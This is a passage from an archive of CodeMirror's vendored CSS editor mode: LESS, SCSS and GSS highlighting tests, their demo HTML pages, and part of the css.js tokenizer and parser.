  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "less"); }

  MT("variable",
     "[variable-2 @base]: [atom #f04615];",
     "[qualifier .class] {",
     "  [property width]: [variable percentage]([number 0.5]); [comment // returns `50%`]",
     "  [property color]: [variable saturate]([variable-2 @base], [number 5%]);",
     "}");

  MT("amp",
     "[qualifier .child], [qualifier .sibling] {",
     "  [qualifier .parent] [atom &] {",
     "    [property color]: [keyword black];",
     "  }",
     "  [atom &] + [atom &] {",
     "    [property color]: [keyword red];",
     "  }",
     "}");

  MT("mixin",
     "[qualifier .mixin] ([variable dark]; [variable-2 @color]) {",
     "  [property color]: [variable darken]([variable-2 @color], [number 10%]);",
     "}",
     "[qualifier .mixin] ([variable light]; [variable-2 @color]) {",
     "  [property color]: [variable lighten]([variable-2 @color], [number 10%]);",
     "}",
     "[qualifier .mixin] ([variable-2 @_]; [variable-2 @color]) {",
     "  [property display]: [atom block];",
     "}",
     "[variable-2 @switch]: [variable light];",
     "[qualifier .class] {",
     "  [qualifier .mixin]([variable-2 @switch]; [atom #888]);",
     "}");

  MT("nest",
     "[qualifier .one] {",
     "  [def @media] ([property width]: [number 400px]) {",
     "    [property font-size]: [number 1.2em];",
     "    [def @media] [attribute print] [keyword and] [property color] {",
     "      [property color]: [keyword blue];",
     "    }",
     "  }",
     "}");


  MT("interpolation", ".@{[variable foo]} { [property font-weight]: [atom bold]; }");
})();
PK     0w\"'8  8  F  customizer/framework/assets/js/vendor/codemirror/mode/css/scss_test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-scss");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "scss"); }

  MT('url_with_quotation',
    "[tag foo] { [property background]:[atom url]([string test.jpg]) }");

  MT('url_with_double_quotes',
    "[tag foo] { [property background]:[atom url]([string \"test.jpg\"]) }");

  MT('url_with_single_quotes',
    "[tag foo] { [property background]:[atom url]([string \'test.jpg\']) }");

  MT('string',
    "[def @import] [string \"compass/css3\"]");

  MT('important_keyword',
    "[tag foo] { [property background]:[atom url]([string \'test.jpg\']) [keyword !important] }");

  MT('variable',
    "[variable-2 $blue]:[atom #333]");

  MT('variable_as_attribute',
    "[tag foo] { [property color]:[variable-2 $blue] }");

  MT('numbers',
    "[tag foo] { [property padding]:[number 10px] [number 10] [number 10em] [number 8in] }");

  MT('number_percentage',
    "[tag foo] { [property width]:[number 80%] }");

  MT('selector',
    "[builtin #hello][qualifier .world]{}");

  MT('singleline_comment',
    "[comment // this is a comment]");

  MT('multiline_comment',
    "[comment /*foobar*/]");

  MT('attribute_with_hyphen',
    "[tag foo] { [property font-size]:[number 10px] }");

  MT('string_after_attribute',
    "[tag foo] { [property content]:[string \"::\"] }");

  MT('directives',
    "[def @include] [qualifier .mixin]");

  MT('basic_structure',
    "[tag p] { [property background]:[keyword red]; }");

  MT('nested_structure',
    "[tag p] { [tag a] { [property color]:[keyword red]; } }");

  MT('mixin',
    "[def @mixin] [tag table-base] {}");

  MT('number_without_semicolon',
    "[tag p] {[property width]:[number 12]}",
    "[tag a] {[property color]:[keyword red];}");

  MT('atom_in_nested_block',
    "[tag p] { [tag a] { [property color]:[atom #000]; } }");

  MT('interpolation_in_property',
    "[tag foo] { #{[variable-2 $hello]}:[number 2]; }");

  MT('interpolation_in_selector',
    "[tag foo]#{[variable-2 $hello]} { [property color]:[atom #000]; }");

  MT('interpolation_error',
    "[tag foo]#{[variable foo]} { [property color]:[atom #000]; }");

  MT("divide_operator",
    "[tag foo] { [property width]:[number 4] [operator /] [number 2] }");

  MT('nested_structure_with_id_selector',
    "[tag p] { [builtin #hello] { [property color]:[keyword red]; } }");

  MT('indent_mixin',
     "[def @mixin] [tag container] (",
     "  [variable-2 $a]: [number 10],",
     "  [variable-2 $b]: [number 10])",
     "{}");

  MT('indent_nested',
     "[tag foo] {",
     "  [tag bar] {",
     "  }",
     "}");

  MT('indent_parentheses',
     "[tag foo] {",
     "  [property color]: [variable darken]([variable-2 $blue],",
     "    [number 9%]);",
     "}");

  MT('indent_vardef',
     "[variable-2 $name]:",
     "  [string 'val'];",
     "[tag tag] {",
     "  [tag inner] {",
     "    [property margin]: [number 3px];",
     "  }",
     "}");
})();
PK     0w\@    C  customizer/framework/assets/js/vendor/codemirror/mode/css/less.htmlnu [        <!doctype html>

<title>CodeMirror: LESS mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="../../addon/edit/matchbrackets.js"></script>
<script src="css.js"></script>
<style>.CodeMirror {border: 1px solid #ddd; line-height: 1.2;}</style>
<div id=nav>
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">LESS</a>
  </ul>
</div>

<article>
<h2>LESS mode</h2>
<form><textarea id="code" name="code">@media screen and (device-aspect-ratio: 16/9) { … }
@media screen and (device-aspect-ratio: 1280/720) { … }
@media screen and (device-aspect-ratio: 2560/1440) { … }

html:lang(fr-be)

tr:nth-child(2n+1) /* represents every odd row of an HTML table */

img:nth-of-type(2n+1) { float: right; }
img:nth-of-type(2n) { float: left; }

body > h2:not(:first-of-type):not(:last-of-type)

html|*:not(:link):not(:visited)
*|*:not(:hover)
p::first-line { text-transform: uppercase }

@namespace foo url(http://www.example.com);
foo|h1 { color: blue }  /* first rule */

span[hello="Ocean"][goodbye="Land"]

E[foo]{
  padding:65px;
}

input[type="search"]::-webkit-search-decoration,
input[type="search"]::-webkit-search-cancel-button {
  -webkit-appearance: none; // Inner-padding issues in Chrome OSX, Safari 5
}
button::-moz-focus-inner,
input::-moz-focus-inner { // Inner padding and border oddities in FF3/4
  padding: 0;
  border: 0;
}
.btn {
  // reset here as of 2.0.3 due to Recess property order
  border-color: #ccc;
  border-color: rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);
}
fieldset span button, fieldset span input[type="file"] {
  font-size:12px;
	font-family:Arial, Helvetica, sans-serif;
}

.rounded-corners (@radius: 5px) {
  border-radius: @radius;
  -webkit-border-radius: @radius;
  -moz-border-radius: @radius;
}

@import url("something.css");

@light-blue:   hsl(190, 50%, 65%);

#menu {
  position: absolute;
  width: 100%;
  z-index: 3;
  clear: both;
  display: block;
  background-color: @blue;
  height: 42px;
  border-top: 2px solid lighten(@alpha-blue, 20%);
  border-bottom: 2px solid darken(@alpha-blue, 25%);
  .box-shadow(0, 1px, 8px, 0.6);
  -moz-box-shadow: 0 0 0 #000; // Because firefox sucks.

  &.docked {
    background-color: hsla(210, 60%, 40%, 0.4);
  }
  &:hover {
    background-color: @blue;
  }

  #dropdown {
    margin: 0 0 0 117px;
    padding: 0;
    padding-top: 5px;
    display: none;
    width: 190px;
    border-top: 2px solid @medium;
    color: @highlight;
    border: 2px solid darken(@medium, 25%);
    border-left-color: darken(@medium, 15%);
    border-right-color: darken(@medium, 15%);
    border-top-width: 0;
    background-color: darken(@medium, 10%);
    ul {
      padding: 0px;  
    }
    li {
      font-size: 14px;
      display: block;
      text-align: left;
      padding: 0;
      border: 0;
      a {
        display: block;
        padding: 0px 15px;  
        text-decoration: none;
        color: white;  
        &:hover {
          background-color: darken(@medium, 15%);
          text-decoration: none;
        }
      }
    }
    .border-radius(5px, bottom);
    .box-shadow(0, 6px, 8px, 0.5);
  }
}
</textarea></form>
    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        lineNumbers : true,
        matchBrackets : true,
        mode: "text/x-less"
      });
    </script>

    <p>The LESS mode is a sub-mode of the <a href="index.html">CSS mode</a> (defined in <code>css.js</code>).</p>

    <p><strong>Parsing/Highlighting Tests:</strong> <a href="../../test/index.html#less_*">normal</a>,  <a href="../../test/index.html#verbose,less_*">verbose</a>.</p>
  </article>
PK     0w\\b    E  customizer/framework/assets/js/vendor/codemirror/mode/css/gss_test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  "use strict";

  var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-gss");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "gss"); }

  MT("atComponent",
     "[def @component] {",
     "[tag foo] {",
     "  [property color]: [keyword black];",
     "}",
     "}");

})();
PK     0w\T.
  
  C  customizer/framework/assets/js/vendor/codemirror/mode/css/scss.htmlnu [        <!doctype html>

<title>CodeMirror: SCSS mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="css.js"></script>
<style>.CodeMirror {background: #f8f8f8;}</style>
<div id=nav>
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">SCSS</a>
  </ul>
</div>

<article>
<h2>SCSS mode</h2>
<form><textarea id="code" name="code">
/* Some example SCSS */

@import "compass/css3";
$variable: #333;

$blue: #3bbfce;
$margin: 16px;

.content-navigation {
  #nested {
    background-color: black;
  }
  border-color: $blue;
  color:
    darken($blue, 9%);
}

.border {
  padding: $margin / 2;
  margin: $margin / 2;
  border-color: $blue;
}

@mixin table-base {
  th {
    text-align: center;
    font-weight: bold;
  }
  td, th {padding: 2px}
}

table.hl {
  margin: 2em 0;
  td.ln {
    text-align: right;
  }
}

li {
  font: {
    family: serif;
    weight: bold;
    size: 1.2em;
  }
}

@mixin left($dist) {
  float: left;
  margin-left: $dist;
}

#data {
  @include left(10px);
  @include table-base;
}

.source {
  @include flow-into(target);
  border: 10px solid green;
  margin: 20px;
  width: 200px; }

.new-container {
  @include flow-from(target);
  border: 10px solid red;
  margin: 20px;
  width: 200px; }

body {
  margin: 0;
  padding: 3em 6em;
  font-family: tahoma, arial, sans-serif;
  color: #000;
}

@mixin yellow() {
  background: yellow;
}

.big {
  font-size: 14px;
}

.nested {
  @include border-radius(3px);
  @extend .big;
  p {
    background: whitesmoke;
    a {
      color: red;
    }
  }
}

#navigation a {
  font-weight: bold;
  text-decoration: none !important;
}

h1 {
  font-size: 2.5em;
}

h2 {
  font-size: 1.7em;
}

h1:before, h2:before {
  content: "::";
}

code {
  font-family: courier, monospace;
  font-size: 80%;
  color: #418A8A;
}
</textarea></form>
    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        lineNumbers: true,
        matchBrackets: true,
        mode: "text/x-scss"
      });
    </script>

    <p>The SCSS mode is a sub-mode of the <a href="index.html">CSS mode</a> (defined in <code>css.js</code>).</p>

    <p><strong>Parsing/Highlighting Tests:</strong> <a href="../../test/index.html#scss_*">normal</a>,  <a href="../../test/index.html#verbose,scss_*">verbose</a>.</p>

  </article>
PK     0w\B
  
  B  customizer/framework/assets/js/vendor/codemirror/mode/css/gss.htmlnu [        <!doctype html>

<title>CodeMirror: Closure Stylesheets (GSS) mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<link rel="stylesheet" href="../../addon/hint/show-hint.css">
<script src="../../lib/codemirror.js"></script>
<script src="css.js"></script>
<script src="../../addon/hint/show-hint.js"></script>
<script src="../../addon/hint/css-hint.js"></script>
<style>.CodeMirror {background: #f8f8f8;}</style>
<div id=nav>
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">Closure Stylesheets (GSS)</a>
  </ul>
</div>

<article>
<h2>Closure Stylesheets (GSS) mode</h2>
<form><textarea id="code" name="code">
/* Some example Closure Stylesheets */

@provide 'some.styles';

@require 'other.styles';

@component {

@def FONT_FAMILY           "Times New Roman", Georgia, Serif;
@def FONT_SIZE_NORMAL      15px;
@def FONT_NORMAL           normal FONT_SIZE_NORMAL FONT_FAMILY;

@def BG_COLOR              rgb(235, 239, 249);

@def DIALOG_BORDER_COLOR   rgb(107, 144, 218);
@def DIALOG_BG_COLOR       BG_COLOR;

@def LEFT_HAND_NAV_WIDTH    180px;
@def LEFT_HAND_NAV_PADDING  3px;

@defmixin size(WIDTH, HEIGHT) {
  width: WIDTH;
  height: HEIGHT;
}

body {
  background-color: BG_COLOR;
  margin: 0;
  padding: 3em 6em;
  font: FONT_NORMAL;
  color: #000;
}

#navigation a {
  font-weight: bold;
  text-decoration: none !important;
}

.dialog {
  background-color: DIALOG_BG_COLOR;
  border: 1px solid DIALOG_BORDER_COLOR;
}

.content {
  position: absolute;
  margin-left: add(LEFT_HAND_NAV_PADDING,  /* padding left */
                   LEFT_HAND_NAV_WIDTH,
                   LEFT_HAND_NAV_PADDING); /* padding right */

}

.logo {
  @mixin size(150px, 55px);
  background-image: url('http://www.google.com/images/logo_sm.gif');
}

}
</textarea></form>
    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        extraKeys: {"Ctrl-Space": "autocomplete"},
        lineNumbers: true,
        matchBrackets: "text/x-less",
        mode: "text/x-gss"
      });
    </script>

    <p>A mode for <a href="https://github.com/google/closure-stylesheets">Closure Stylesheets</a> (GSS).</p>
    <p><strong>MIME type defined:</strong> <code>text/x-gss</code>.</p>

    <p><strong>Parsing/Highlighting Tests:</strong> <a href="../../test/index.html#gss_*">normal</a>,  <a href="../../test/index.html#verbose,gss_*">verbose</a>.</p>

  </article>
PK     0w\wZz    @  customizer/framework/assets/js/vendor/codemirror/mode/css/css.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("css", function(config, parserConfig) {
  var provided = parserConfig;
  if (!parserConfig.propertyKeywords) parserConfig = CodeMirror.resolveMode("text/css");
  parserConfig.inline = provided.inline;

  var indentUnit = config.indentUnit,
      tokenHooks = parserConfig.tokenHooks,
      documentTypes = parserConfig.documentTypes || {},
      mediaTypes = parserConfig.mediaTypes || {},
      mediaFeatures = parserConfig.mediaFeatures || {},
      mediaValueKeywords = parserConfig.mediaValueKeywords || {},
      propertyKeywords = parserConfig.propertyKeywords || {},
      nonStandardPropertyKeywords = parserConfig.nonStandardPropertyKeywords || {},
      fontProperties = parserConfig.fontProperties || {},
      counterDescriptors = parserConfig.counterDescriptors || {},
      colorKeywords = parserConfig.colorKeywords || {},
      valueKeywords = parserConfig.valueKeywords || {},
      allowNested = parserConfig.allowNested,
      supportsAtComponent = parserConfig.supportsAtComponent === true;

  var type, override;
  function ret(style, tp) { type = tp; return style; }

  // Tokenizers

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (tokenHooks[ch]) {
      var result = tokenHooks[ch](stream, state);
      if (result !== false) return result;
    }
    if (ch == "@") {
      stream.eatWhile(/[\w\\\-]/);
      return ret("def", stream.current());
    } else if (ch == "=" || (ch == "~" || ch == "|") && stream.eat("=")) {
      return ret(null, "compare");
    } else if (ch == "\"" || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    } else if (ch == "#") {
      stream.eatWhile(/[\w\\\-]/);
      return ret("atom", "hash");
    } else if (ch == "!") {
      stream.match(/^\s*\w*/);
      return ret("keyword", "important");
    } else if (/\d/.test(ch) || ch == "." && stream.eat(/\d/)) {
      stream.eatWhile(/[\w.%]/);
      return ret("number", "unit");
    } else if (ch === "-") {
      if (/[\d.]/.test(stream.peek())) {
        stream.eatWhile(/[\w.%]/);
        return ret("number", "unit");
      } else if (stream.match(/^-[\w\\\-]+/)) {
        stream.eatWhile(/[\w\\\-]/);
        if (stream.match(/^\s*:/, false))
          return ret("variable-2", "variable-definition");
        return ret("variable-2", "variable");
      } else if (stream.match(/^\w+-/)) {
        return ret("meta", "meta");
      }
    } else if (/[,+>*\/]/.test(ch)) {
      return ret(null, "select-op");
    } else if (ch == "." && stream.match(/^-?[_a-z][_a-z0-9-]*/i)) {
      return ret("qualifier", "qualifier");
    } else if (/[:;{}\[\]\(\)]/.test(ch)) {
      return ret(null, ch);
    } else if ((ch == "u" && stream.match(/rl(-prefix)?\(/)) ||
               (ch == "d" && stream.match("omain(")) ||
               (ch == "r" && stream.match("egexp("))) {
      stream.backUp(1);
      state.tokenize = tokenParenthesized;
      return ret("property", "word");
    } else if (/[\w\\\-]/.test(ch)) {
      stream.eatWhile(/[\w\\\-]/);
      return ret("property", "word");
    } else {
      return ret(null, null);
    }
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          if (quote == ")") stream.backUp(1);
          break;
        }
        escaped = !escaped && ch == "\\";
      }
      if (ch == quote || !escaped && quote != ")") state.tokenize = null;
      return ret("string", "string");
    };
  }

  function tokenParenthesized(stream, state) {
    stream.next(); // Must be '('
    if (!stream.match(/\s*[\"\')]/, false))
      state.tokenize = tokenString(")");
    else
      state.tokenize = null;
    return ret(null, "(");
  }

  // Context management

  function Context(type, indent, prev) {
    this.type = type;
    this.indent = indent;
    this.prev = prev;
  }

  function pushContext(state, stream, type, indent) {
    state.context = new Context(type, stream.indentation() + (indent === false ? 0 : indentUnit), state.context);
    return type;
  }

  function popContext(state) {
    if (state.context.prev)
      state.context = state.context.prev;
    return state.context.type;
  }

  function pass(type, stream, state) {
    return states[state.context.type](type, stream, state);
  }
  function popAndPass(type, stream, state, n) {
    for (var i = n || 1; i > 0; i--)
      state.context = state.context.prev;
    return pass(type, stream, state);
  }

  // Parser

  function wordAsValue(stream) {
    var word = stream.current().toLowerCase();
    if (valueKeywords.hasOwnProperty(word))
      override = "atom";
    else if (colorKeywords.hasOwnProperty(word))
      override = "keyword";
    else
      override = "variable";
  }

  var states = {};

  states.top = function(type, stream, state) {
    if (type == "{") {
      return pushContext(state, stream, "block");
    } else if (type == "}" && state.context.prev) {
      return popContext(state);
    } else if (supportsAtComponent && /@component/.test(type)) {
      return pushContext(state, stream, "atComponentBlock");
    } else if (/^@(-moz-)?document$/.test(type)) {
      return pushContext(state, stream, "documentTypes");
    } else if (/^@(media|supports|(-moz-)?document|import)$/.test(type)) {
      return pushContext(state, stream, "atBlock");
    } else if (/^@(font-face|counter-style)/.test(type)) {
      state.stateArg = type;
      return "restricted_atBlock_before";
    } else if (/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(type)) {
      return "keyframes";
    } else if (type && type.charAt(0) == "@") {
      return pushContext(state, stream, "at");
    } else if (type == "hash") {
      override = "builtin";
    } else if (type == "word") {
      override = "tag";
    } else if (type == "variable-definition") {
      return "maybeprop";
    } else if (type == "interpolation") {
      return pushContext(state, stream, "interpolation");
    } else if (type == ":") {
      return "pseudo";
    } else if (allowNested && type == "(") {
      return pushContext(state, stream, "parens");
    }
    return state.context.type;
  };

  states.block = function(type, stream, state) {
    if (type == "word") {
      var word = stream.current().toLowerCase();
      if (propertyKeywords.hasOwnProperty(word)) {
        override = "property";
        return "maybeprop";
      } else if (nonStandardPropertyKeywords.hasOwnProperty(word)) {
        override = "string-2";
        return "maybeprop";
      } else if (allowNested) {
        override = stream.match(/^\s*:(?:\s|$)/, false) ? "property" : "tag";
        return "block";
      } else {
        override += " error";
        return "maybeprop";
      }
    } else if (type == "meta") {
      return "block";
    } else if (!allowNested && (type == "hash" || type == "qualifier")) {
      override = "error";
      return "block";
    } else {
      return states.top(type, stream, state);
    }
  };

  states.maybeprop = function(type, stream, state) {
    if (type == ":") return pushContext(state, stream, "prop");
    return pass(type, stream, state);
  };

  states.prop = function(type, stream, state) {
    if (type == ";") return popContext(state);
    if (type == "{" && allowNested) return pushContext(state, stream, "propBlock");
    if (type == "}" || type == "{") return popAndPass(type, stream, state);
    if (type == "(") return pushContext(state, stream, "parens");

    if (type == "hash" && !/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(stream.current())) {
      override += " error";
    } else if (type == "word") {
      wordAsValue(stream);
    } else if (type == "interpolation") {
      return pushContext(state, stream, "interpolation");
    }
    return "prop";
  };

  states.propBlock = function(type, _stream, state) {
    if (type == "}") return popContext(state);
    if (type == "word") { override = "property"; return "maybeprop"; }
    return state.context.type;
  };

  states.parens = function(type, stream, state) {
    if (type == "{" || type == "}") return popAndPass(type, stream, state);
    if (type == ")") return popContext(state);
    if (type == "(") return pushContext(state, stream, "parens");
    if (type == "interpolation") return pushContext(state, stream, "interpolation");
    if (type == "word") wordAsValue(stream);
    return "parens";
  };

  states.pseudo = function(type, stream, state) {
    if (type == "word") {
      override = "variable-3";
      return state.context.type;
    }
    return pass(type, stream, state);
  };

  states.documentTypes = function(type, stream, state) {
    if (type == "word" && documentTypes.hasOwnProperty(stream.current())) {
      override = "tag";
      return state.context.type;
    } else {
      return states.atBlock(type, stream, state);
    }
  };

  states.atBlock = function(type, stream, state) {
    if (type == "(") return pushContext(state, stream, "atBlock_parens");
    if (type == "}" || type == ";") return popAndPass(type, stream, state);
    if (type == "{") return popContext(state) && pushContext(state, stream, allowNested ? "block" : "top");

    if (type == "interpolation") return pushContext(state, stream, "interpolation");

    if (type == "word") {
      var word = stream.current().toLowerCase();
      if (word == "only" || word == "not" || word == "and" || word == "or")
        override = "keyword";
      else if (mediaTypes.hasOwnProperty(word))
        override = "attribute";
      else if (mediaFeatures.hasOwnProperty(word))
        override = "property";
      else if (mediaValueKeywords.hasOwnProperty(word))
        override = "keyword";
      else if (propertyKeywords.hasOwnProperty(word))
        override = "property";
      else if (nonStandardPropertyKeywords.hasOwnProperty(word))
        override = "string-2";
      else if (valueKeywords.hasOwnProperty(word))
        override = "atom";
      else if (colorKeywords.hasOwnProperty(word))
        override = "keyword";
      else
        override = "error";
    }
    return state.context.type;
  };

  states.atComponentBlock = function(type, stream, state) {
    if (type == "}")
      return popAndPass(type, stream, state);
    if (type == "{")
      return popContext(state) && pushContext(state, stream, allowNested ? "block" : "top", false);
    if (type == "word")
      override = "error";
    return state.context.type;
  };

  states.atBlock_parens = function(type, stream, state) {
    if (type == ")") return popContext(state);
    if (type == "{" || type == "}") return popAndPass(type, stream, state, 2);
    return states.atBlock(type, stream, state);
  };

  states.restricted_atBlock_before = function(type, stream, state) {
    if (type == "{")
      return pushContext(state, stream, "restricted_atBlock");
    if (type == "word" && state.stateArg == "@counter-style") {
      override = "variable";
      return "restricted_atBlock_before";
    }
    return pass(type, stream, state);
  };

  states.restricted_atBlock = function(type, stream, state) {
    if (type == "}") {
      state.stateArg = null;
      return popContext(state);
    }
    if (type == "word") {
      if ((state.stateArg == "@font-face" && !fontProperties.hasOwnProperty(stream.current().toLowerCase())) ||
          (state.stateArg == "@counter-style" && !counterDescriptors.hasOwnProperty(stream.current().toLowerCase())))
        override = "error";
      else
        override = "property";
      return "maybeprop";
    }
    return "restricted_atBlock";
  };

  states.keyframes = function(type, stream, state) {
    if (type == "word") { override = "variable"; return "keyframes"; }
    if (type == "{") return pushContext(state, stream, "top");
    return pass(type, stream, state);
  };

  states.at = function(type, stream, state) {
    if (type == ";") return popContext(state);
    if (type == "{" || type == "}") return popAndPass(type, stream, state);
    if (type == "word") override = "tag";
    else if (type == "hash") override = "builtin";
    return "at";
  };

  states.interpolation = function(type, stream, state) {
    if (type == "}") return popContext(state);
    if (type == "{" || type == ";") return popAndPass(type, stream, state);
    if (type == "word") override = "variable";
    else if (type != "variable" && type != "(" && type != ")") override = "error";
    return "interpolation";
  };

  return {
    startState: function(base) {
      return {tokenize: null,
              state: parserConfig.inline ? "block" : "top",
              stateArg: null,
              context: new Context(parserConfig.inline ? "block" : "top", base || 0, null)};
    },

    token: function(stream, state) {
      if (!state.tokenize && stream.eatSpace()) return null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style && typeof style == "object") {
        type = style[1];
        style = style[0];
      }
      override = style;
      state.state = states[state.state](type, stream, state);
      return override;
    },

    indent: function(state, textAfter) {
      var cx = state.context, ch = textAfter && textAfter.charAt(0);
      var indent = cx.indent;
      if (cx.type == "prop" && (ch == "}" || ch == ")")) cx = cx.prev;
      if (cx.prev) {
        if (ch == "}" && (cx.type == "block" || cx.type == "top" ||
                          cx.type == "interpolation" || cx.type == "restricted_atBlock")) {
          // Resume indentation from parent context.
          cx = cx.prev;
          indent = cx.indent;
        } else if (ch == ")" && (cx.type == "parens" || cx.type == "atBlock_parens") ||
            ch == "{" && (cx.type == "at" || cx.type == "atBlock")) {
          // Dedent relative to current context.
          indent = Math.max(0, cx.indent - indentUnit);
          cx = cx.prev;
        }
      }
      return indent;
    },

    electricChars: "}",
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    fold: "brace"
  };
});

  function keySet(array) {
    var keys = {};
    for (var i = 0; i < array.length; ++i) {
      keys[array[i]] = true;
    }
    return keys;
  }

  var documentTypes_ = [
    "domain", "regexp", "url", "url-prefix"
  ], documentTypes = keySet(documentTypes_);

  var mediaTypes_ = [
    "all", "aural", "braille", "handheld", "print", "projection", "screen",
    "tty", "tv", "embossed"
  ], mediaTypes = keySet(mediaTypes_);

  var mediaFeatures_ = [
    "width", "min-width", "max-width", "height", "min-height", "max-height",
    "device-width", "min-device-width", "max-device-width", "device-height",
    "min-device-height", "max-device-height", "aspect-ratio",
    "min-aspect-ratio", "max-aspect-ratio", "device-aspect-ratio",
    "min-device-aspect-ratio", "max-device-aspect-ratio", "color", "min-color",
    "max-color", "color-index", "min-color-index", "max-color-index",
    "monochrome", "min-monochrome", "max-monochrome", "resolution",
    "min-resolution", "max-resolution", "scan", "grid", "orientation",
    "device-pixel-ratio", "min-device-pixel-ratio", "max-device-pixel-ratio",
    "pointer", "any-pointer", "hover", "any-hover"
  ], mediaFeatures = keySet(mediaFeatures_);

  var mediaValueKeywords_ = [
    "landscape", "portrait", "none", "coarse", "fine", "on-demand", "hover",
    "interlace", "progressive"
  ], mediaValueKeywords = keySet(mediaValueKeywords_);

  var propertyKeywords_ = [
    "align-content", "align-items", "align-self", "alignment-adjust",
    "alignment-baseline", "anchor-point", "animation", "animation-delay",
    "animation-direction", "animation-duration", "animation-fill-mode",
    "animation-iteration-count", "animation-name", "animation-play-state",
    "animation-timing-function", "appearance", "azimuth", "backface-visibility",
    "background", "background-attachment", "background-clip", "background-color",
    "background-image", "background-origin", "background-position",
    "background-repeat", "background-size", "baseline-shift", "binding",
    "bleed", "bookmark-label", "bookmark-level", "bookmark-state",
    "bookmark-target", "border", "border-bottom", "border-bottom-color",
    "border-bottom-left-radius", "border-bottom-right-radius",
    "border-bottom-style", "border-bottom-width", "border-collapse",
    "border-color", "border-image", "border-image-outset",
    "border-image-repeat", "border-image-slice", "border-image-source",
    "border-image-width", "border-left", "border-left-color",
    "border-left-style", "border-left-width", "border-radius", "border-right",
    "border-right-color", "border-right-style", "border-right-width",
    "border-spacing", "border-style", "border-top", "border-top-color",
    "border-top-left-radius", "border-top-right-radius", "border-top-style",
    "border-top-width", "border-width", "bottom", "box-decoration-break",
    "box-shadow", "box-sizing", "break-after", "break-before", "break-inside",
    "caption-side", "clear", "clip", "color", "color-profile", "column-count",
    "column-fill", "column-gap", "column-rule", "column-rule-color",
    "column-rule-style", "column-rule-width", "column-span", "column-width",
    "columns", "content", "counter-increment", "counter-reset", "crop", "cue",
    "cue-after", "cue-before", "cursor", "direction", "display",
    "dominant-baseline", "drop-initial-after-adjust",
    "drop-initial-after-align", "drop-initial-before-adjust",
    "drop-initial-before-align", "drop-initial-size", "drop-initial-value",
    "elevation", "empty-cells", "fit", "fit-position", "flex", "flex-basis",
    "flex-direction", "flex-flow", "flex-grow", "flex-shrink", "flex-wrap",
    "float", "float-offset", "flow-from", "flow-into", "font", "font-feature-settings",
    "font-family", "font-kerning", "font-language-override", "font-size", "font-size-adjust",
    "font-stretch", "font-style", "font-synthesis", "font-variant",
    "font-variant-alternates", "font-variant-caps", "font-variant-east-asian",
    "font-variant-ligatures", "font-variant-numeric", "font-variant-position",
    "font-weight", "grid", "grid-area", "grid-auto-columns", "grid-auto-flow",
    "grid-auto-position", "grid-auto-rows", "grid-column", "grid-column-end",
    "grid-column-start", "grid-row", "grid-row-end", "grid-row-start",
    "grid-template", "grid-template-areas", "grid-template-columns",
    "grid-template-rows", "hanging-punctuation", "height", "hyphens",
    "icon", "image-orientation", "image-rendering", "image-resolution",
    "inline-box-align", "justify-content", "left", "letter-spacing",
    "line-break", "line-height", "line-stacking", "line-stacking-ruby",
    "line-stacking-shift", "line-stacking-strategy", "list-style",
    "list-style-image", "list-style-position", "list-style-type", "margin",
    "margin-bottom", "margin-left", "margin-right", "margin-top",
    "marker-offset", "marks", "marquee-direction", "marquee-loop",
    "marquee-play-count", "marquee-speed", "marquee-style", "max-height",
    "max-width", "min-height", "min-width", "move-to", "nav-down", "nav-index",
